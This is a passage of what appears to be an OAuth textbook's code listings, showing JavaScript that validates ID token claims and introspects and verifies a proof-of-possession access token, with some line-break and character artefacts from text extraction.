				    console.log('Audience OK');

		

				    var now = Math.floor(Date.now() / 1000);

		

				    if (payload.iat <= now) {

					     console.log('issued-at OK');

					     if (payload.exp >= now) {

						      console.log('expiration OK');
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						      console.log('Token valid!');

						      id_token = payload;
		

					     }

				    }

			   }

		  }

	 }

	 res.render('userinfo', {userInfo: userInfo, id_token: id_token});

	 return;

}

Listing 16  Introspecting and verifying a PoP token (15-1)

var getAccessToken = function(req, res, next) {

	 var auth = req.headers['authorization'];

	 var inToken = null;

	 if (auth && auth.toLowerCase().indexOf('pop') == 0) {

		  inToken = auth.slice('pop '.length);

	 } else if (req.body && req.body.pop_access_token) {

		  inToken = req.body.pop_access_token;

	 } else if (req.query && req.query.pop_access_token) {

		  inToken = req.query.pop_access_token

	 }
	

	 console.log('Incoming PoP: %s', inToken);

	 var tokenParts = inToken.split('.');

	 var header = JSON.parse(base64url.decode(tokenParts[0]));

	 var payload = JSON.parse(base64url.decode(tokenParts[1]));
	

	 console.log('Payload', payload);
	

	 var at = payload.at;

	 console.log('Incmoing access token: %s', at);

	 var form_data = qs.stringify({

		  token: at

	 });

	 var headers = {

		  'Content-Type': 'application/x-www-form-urlencoded',

		�  'Authorization': 'Basic ' +  

encodeClientCredentials(protectedResource.resource_id, 

protectedResource.resource_secret)

	 };

	 var tokRes = request('POST', authServer.introspectionEndpoint, {	

		  body: form_data,

		  headers: headers

	 });

	

	 if (tokRes.statusCode >= 200 && tokRes.statusCode < 300) {

		  var body = JSON.parse(tokRes.getBody());
	

		  console.log('Got introspection response', body);

		  var active = body.active;

		  if (active) {
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			   var pubKey = jose.KEYUTIL.getKey(body.access_token_key);

			   if (jose.jws.JWS.verify(inToken, pubKey, [header.alg])) {

				    console.log('Signature is valid');

				  

				    if (!payload.m || payload.m == req.method) {

					�     if (!payload.u || payload.u ==  

	   'localhost:9002') {

						�      if (!payload.p || payload.p == req.path) 

 	   {

							�       console.log('All components  

matched');

							     

							     

							       req.access_token = { 

								        access_token: at,

								        scope: body.scope

							       };

							     

						      }

					     }

				    }

				  

			   }

			 

		  }

	 }

	 next();

	 return;

	

};
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